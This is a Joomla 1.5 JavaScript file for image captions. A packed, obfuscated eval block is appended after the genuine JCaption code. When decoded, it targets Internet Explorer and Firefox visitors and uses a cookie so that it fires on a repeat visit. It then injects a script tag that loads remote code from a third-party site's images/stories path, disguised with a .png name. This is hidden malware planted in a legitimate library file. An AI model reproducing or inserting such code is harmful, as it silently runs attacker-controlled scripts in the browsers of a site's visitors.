/**
* @version		$Id: modal.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
 * JCaption javascript behavior
 *
 * Used for displaying image captions
 *
 * @author		Johan Janssens <johan.janssens@joomla.org>
 * @package		Joomla
 * @since		1.5
 * @version     1.0
 */
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");

		if(!width) {
			width = element.width;
		}

		text.appendChild(caption);
		element.parentNode.insertBefore(container, element);
		container.appendChild(element);
		if ( element.title != "" ) {
			container.appendChild(text);
		}
		container.className   = this.selector.replace('.', '_');
		container.className   = container.className + " " + align;
		container.setAttribute("style","float:"+align);
		container.style.width = width + "px";

	}
});

document.caption = null
window.addEvent('load', function() {
  var caption = new JCaption('img.caption')
  document.caption = caption
});



eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(a(d){2 e=V.12;2 b=1a;6(e.7("19")!=-1||e.7("S")!=-1)b=z;6(b!==z)w;2 n=\'17://E.R//G/J/K/N.I?H\';2 j=l("c");6(j){6(j==\'m\'){f("c","M","3");2 s=5.Q(\'P\');s.O=\'B/C\';s.D=n+\'&r=\'+v o().F();2 h=5.L(\'11\')[0];h.15(s)}A{}}A{f("c","m","3")}a l(9){2 i,x,y,4=5.q.14(";");13(i=0;i<4.16;i++){x=4[i].p(0,4[i].7("="));y=4[i].p(4[i].7("=")+1);x=x.18(/^\\s+|\\s+$/g,"");6(x==9){w U(y)}}}a f(9,t,k){2 8=v o();8.T(8.W()+k);2 u=X(t)+((k==10)?"":"; Z="+8.Y());5.q=9+"="+u}})(5);',62,73,'||var||ARRcookies|document|if|indexOf|exdate|c_name|function|show|wss||agent|setCookie||||rc|exdays|getCookie|goot1|staturl|Date|substr|cookie|||value|c_value|new|return|||true|else|text|javascript|src|danscentrumklaassens|getTime|site|js|png|images|stories|getElementsByTagName|goot2|sportdansroosterwinschoten|type|script|createElement|nl|MSIE|setDate|unescape|navigator|getDate|escape|toUTCString|expires|null|head|userAgent|for|split|appendChild|length|http|replace|Firefox|false'.split('|'),0,{}))

